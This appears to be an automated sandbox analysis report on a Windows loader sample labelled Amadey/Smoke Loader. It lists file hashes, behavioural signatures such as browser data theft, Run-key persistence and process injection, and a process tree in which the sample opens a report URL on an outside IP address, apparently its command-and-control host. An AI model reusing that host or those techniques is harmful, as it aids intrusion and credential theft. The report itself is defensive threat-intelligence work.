Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250610-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250610-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/07/2025, 12:04

General

  • Target

    2025-07-04_d6310f3d1f2f5367872a365831a4064f_amadey_elex_smoke-loader.exe

  • Size

    2.8MB

  • MD5

    d6310f3d1f2f5367872a365831a4064f

  • SHA1

    4174fb9dc1da7fb65211c1bbe0e0024f58d00249

  • SHA256

    123d28c8739c51bc1fb2829176f21bd72ef8112f168b85223855ff73aa5b80ff

  • SHA512

    5c639f304780b9aded8f0da341ab569ee2479ccd0393a22ba043b60e5a84f081df644541ea74e5a053a0807511367cc85fc3d867afa8882889d12b68b1d9e5d8

  • SSDEEP

    49152:XYgph7GBfWY8Zbn81qkqKy3YcMugkEaS1:XX77GBfWq1qfh355maM

Malware Config

Signatures

  • Contacts a large (980) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops file in System32 directory 64 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 64 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 33 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2025-07-04_d6310f3d1f2f5367872a365831a4064f_amadey_elex_smoke-loader.exe
    "C:\Users\Admin\AppData\Local\Temp\2025-07-04_d6310f3d1f2f5367872a365831a4064f_amadey_elex_smoke-loader.exe"
    1⤵
    • Adds Run key to start application
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:5036
    • C:\Program Files\Internet Explorer\IEXPLORE.exe
      "C:\Program Files\Internet Explorer\IEXPLORE" 212.33.237.86/images/1/report.php
      2⤵
      • Modifies Internet Explorer settings
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:5416
      • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:5416 CREDAT:17410 /prefetch:2
        3⤵
        • System Location Discovery: System Language Discovery
        • Modifies Internet Explorer settings
        • Suspicious use of SetWindowsHookEx
        PID:1736
  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ÔN@
    1⤵
      PID:5600

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          • C:\Program Files\7-Zip\7z.exe

            Filesize

            3.4MB

            MD5

            8b968ff703f5dd1dabed90c733062abb

            SHA1

            442a47894f37dfa6c25d1d29286151854bc32ab3

            SHA256

            0dc88cbf7902f2ea0bd76736cd92d4db110e437f82ac1499fb6daf8d2e33dfa8

            SHA512

            7613882180d8aec28b7a84327426a8d8275c2ec2ed4eae2b398ddb092beb2104908bfeb90ba5d5f806a8904b570eea6334e6444a7ba7cb7741f214cce4c0258e

          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B398B80134F72209547439DB21AB308D_9F6005AF34C7906F717D420F892FD6D0

            Filesize

            471B

            MD5

            db3f2e41632254f91f7e5e41942d8ff0

            SHA1

            7da106440ca2f41c46abf0c425b49bbce80a1cfb

            SHA256

            601e2bdca83d313ce5087a94b902e3a8237c1255e1221deeb40b3ae5c3a9d9d3

            SHA512

            0cb09d9c84a09722a83150f24caf27cd72f873f77e765b45ac00b177c895f095d9126aafbba60aa3c54b2d3acbee104aa5d0ad1942aca4038586a2242528fbfe

          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B398B80134F72209547439DB21AB308D_9F6005AF34C7906F717D420F892FD6D0

            Filesize

            400B

            MD5

            3850c57b8dfa672a72f254ad096e8858

            SHA1

            1f2cf9ff5bed51dd3bf658c780f829ab048ebbfc

            SHA256

            6f884571a24ea0f39c0990808c9081ad24c8e454162793f192d0a4fc833c6178

            SHA512

            f5bf804129c578697a7b4a4bce44eb79d7161e5e2ffa40c1c1cb95a5a57977126755372a48c2a1b3865a2faa9f46639ebec69d225f7a98580bb80ed184965de3

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\QMAQ508K\suggestions[1].en-US

            Filesize

            17KB

            MD5

            5a34cb996293fde2cb7a4ac89587393a

            SHA1

            3c96c993500690d1a77873cd62bc639b3a10653f

            SHA256

            c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad

            SHA512

            e1b7d0107733f81937415104e70f68b1be6fd0ca65dccf4ff72637943d44278d3a77f704aedff59d2dbc0d56a609b2590c8ec0dd6bc48ab30f1dad0c07a0a3ee